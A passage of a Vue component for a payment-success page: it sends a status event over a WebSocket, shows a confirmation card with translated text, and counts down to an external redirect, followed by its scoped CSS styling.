// 模拟倒计时
const countdown = ref(3);
onMounted(() => {
useLoadingStore().isLoading = false;
// 发送埋点/状态
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "success" },
})
);
// 倒计时逻辑
const timer = setInterval(() => {
countdown.value--;
if (countdown.value <= 0) {
clearInterval(timer);
redirectToExternal();
}
}, 1000);
localStorage.setItem("route", "success");
});
</script>
<template>
<CommonLayout>
<div class="sc-page">
<div class="sc-card">
<!-- Animated check icon -->
<div class="sc-icon-wrap">
<svg class="sc-checkmark" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 52 52">
<circle class="sc-checkmark__circle" cx="26" cy="26" r="25" fill="none"/>
<path class="sc-checkmark__check" fill="none" d="M14.1 27.2l7.1 7.2 16.7-16.8"/>
</svg>
</div>
<!-- Title block -->
<div class="sc-header">
<h1 class="sc-title">{{ t("success_view.payment_successful") }}</h1>
<p class="sc-subtitle">{{ t("success_view.order_confirmed") }}</p>
</div>
<!-- Description -->
<p class="sc-desc">{{ t("success_view.thank_you") }}</p>
<!-- Info notes -->
<div class="sc-notes">
<div class="sc-note-item">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><rect x="3" y="11" width="18" height="11" rx="2"/><path d="M7 11V7a5 5 0 0110 0v4"/></svg>
<span>{{ t("success_view.funds_secured") }}</span>
</div>
<div class="sc-note-item">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M14 2H6a2 2 0 00-2 2v16a2 2 0 002 2h12a2 2 0 002-2V8z"/><polyline points="14 2 14 8 20 8"/></svg>
<span>{{ t("success_view.keep_receipt") }}</span>
</div>
</div>
<!-- Action section -->
<div class="sc-actions">
<div class="sc-redirect">
<span class="sc-dot-pulse"></span>
{{ t("success_view.redirecting", { seconds: countdown }) }}
</div>
<button class="sc-btn" @click="redirectToExternal">
{{ t("success_view.back_now") }}
</button>
</div>
<!-- Footer -->
<div class="sc-footer">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
{{ t("success_view.secure_payment") }}
</div>
</div>
</div>
</CommonLayout>
</template>
<style scoped>
.sc-page {
min-height: 100vh;
display: flex;
align-items: center;
justify-content: center;
padding: 24px 16px;
background: linear-gradient(160deg, #f0fff4 0%, #f8fafc 50%, #f0f4ff 100%);
box-sizing: border-box;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
}
/* ===== Card ===== */
.sc-card {
width: 100%;
max-width: 480px;
background: #fff;
border-radius: 20px;
border: 1px solid rgba(226,232,240,0.8);
box-shadow:
0 0 0 1px rgba(148,163,184,0.05),
0 4px 6px -2px rgba(15,23,42,0.04),
0 12px 32px -8px rgba(15,23,42,0.1);
overflow: hidden;
text-align: center;
animation: sc-rise 0.5s cubic-bezier(0.22, 1, 0.36, 1) both;
}
@keyframes sc-rise {
from { opacity: 0; transform: translateY(20px); }
to { opacity: 1; transform: translateY(0); }
}
/* ===== Success stripe ===== */
.sc-card::before {
content: '';
display: block;
height: 4px;
background: linear-gradient(90deg, #22c55e 0%, #16a34a 100%);
}
/* ===== Icon ===== */
.sc-icon-wrap {
width: 80px;
height: 80px;
margin: 32px auto 20px;
}
.sc-checkmark {
width: 80px;
height: 80px;
border-radius: 50%;
display: block;
stroke-width: 2;
stroke: #22c55e;
stroke-miterlimit: 10;
animation: sc-fill 0.4s ease-in-out 0.4s forwards, sc-scale 0.3s ease-in-out 0.9s both;
}
.sc-checkmark__circle {
stroke-dasharray: 166;
stroke-dashoffset: 166;
stroke-width: 2;
stroke-miterlimit: 10;
stroke: #22c55e;
fill: none;
animation: sc-stroke 0.6s cubic-bezier(0.65, 0, 0.45, 1) forwards;
}
.sc-checkmark__check {
transform-origin: 50% 50%;
stroke-dasharray: 48;
stroke-dashoffset: 48;
animation: sc-stroke 0.3s cubic-bezier(0.65, 0, 0.45, 1) 0.8s forwards;
}
@keyframes sc-stroke { 100% { stroke-dashoffset: 0; } }
@keyframes sc-scale { 0%,100% { transform: none; } 50% { transform: scale3d(1.08,1.08,1); } }
@keyframes sc-fill { 100% { box-shadow: inset 0 0 0 40px #fff; } }
/* ===== Header ===== */
.sc-header {
padding: 0 28px 12px;
}
.sc-title {
margin: 0 0 6px;
font-size: 1.55rem;
font-weight: 800;
color: #0f172a;
letter-spacing: -0.4px;
}
.sc-subtitle {
margin: 0;
font-size: 0.82rem;
font-weight: 600;
letter-spacing: 0.6px;
text-transform: uppercase;
color: #22c55e;
}
/* ===== Description ===== */
.sc-desc {
margin: 0;
padding: 0 32px 20px;
font-size: 0.88rem;
color: #64748b;
line-height: 1.65;
}
/* ===== Notes ===== */
.sc-notes {
margin: 0 24px 20px;
background: #f8fafc;
border: 1px solid #e9edf3;
border-radius: 12px;
overflow: hidden;
}
.sc-note-item {
display: flex;
align-items: center;
gap: 10px;
padding: 11px 14px;
font-size: 0.79rem;
color: #64748b;
line-height: 1.45;
border-bottom: 1px solid #f1f5f9;
text-align: left;
}
.sc-note-item:last-child {
border-bottom: none;
}
.sc-note-item svg {
width: 14px;
height: 14px;
flex-shrink: 0;
color: #22c55e;
stroke: #22c55e;
}
/* ===== Actions ===== */
.sc-actions {
padding: 16px 24px 20px;
border-top: 1px solid #f1f5f9;
}
.sc-redirect {
display: flex;
align-items: center;
justify-content: center;
gap: 8px;
font-size: 0.82rem;
color: #9ca3af;
margin-bottom: 14px;
}
.sc-dot-pulse {
width: 6px;
height: 6px;
border-radius: 50%;
background: #22c55e;
display: inline-block;
animation: sc-pulse 1.2s ease-in-out infinite;
}
@keyframes sc-pulse {
0%, 100% { opacity: 1; transform: scale(1); }
50% { opacity: 0.4; transform: scale(0.7); }
}
.sc-btn {
width: 100%;
height: 48px;
background: #22c55e;
color: #fff;
border: none;
border-radius: 12px;
font-size: 0.95rem;
font-weight: 700;
letter-spacing: 0.04em;
cursor: pointer;
transition: filter 0.15s, transform 0.1s;
box-shadow: 0 4px 14px rgba(34,197,94,0.3);
position: relative;
overflow: hidden;
}
.sc-btn::after {
content: '';
position: absolute;
inset: 0;
background: linear-gradient(180deg, rgba(255,255,255,0.12) 0%, transparent 100%);
pointer-events: none;
}
.sc-btn:hover { filter: brightness(1.06); }
.sc-btn:active { transform: scale(0.985); filter: brightness(0.96); }
/* ===== Footer ===== */
.sc-footer {
display: flex;
align-items: center;
justify-content: center;
gap: 5px;
padding: 12px 24px 16px;
border-top: 1px solid #f1f5f9;
font-size: 0.75rem;
font-weight: 500;
color: #9ca3af;
background: #fafbfd;
}
.sc-footer svg {
width: 11px;
height: 11px;
stroke: #22c55e;
fill: none;
flex-shrink: 0;
}
/* ===== Responsive ===== */
@media (max-width: 520px) {
.sc-card {
border-radius: 16px;
}
.sc-title {
font-size: 1.3rem;
}
.sc-desc {
padding: 0 20px 16px;
}
.sc-notes {
margin: 0 16px 16px;
}
.sc-actions {
padding: 14px 16px 16px;
}
}
</style>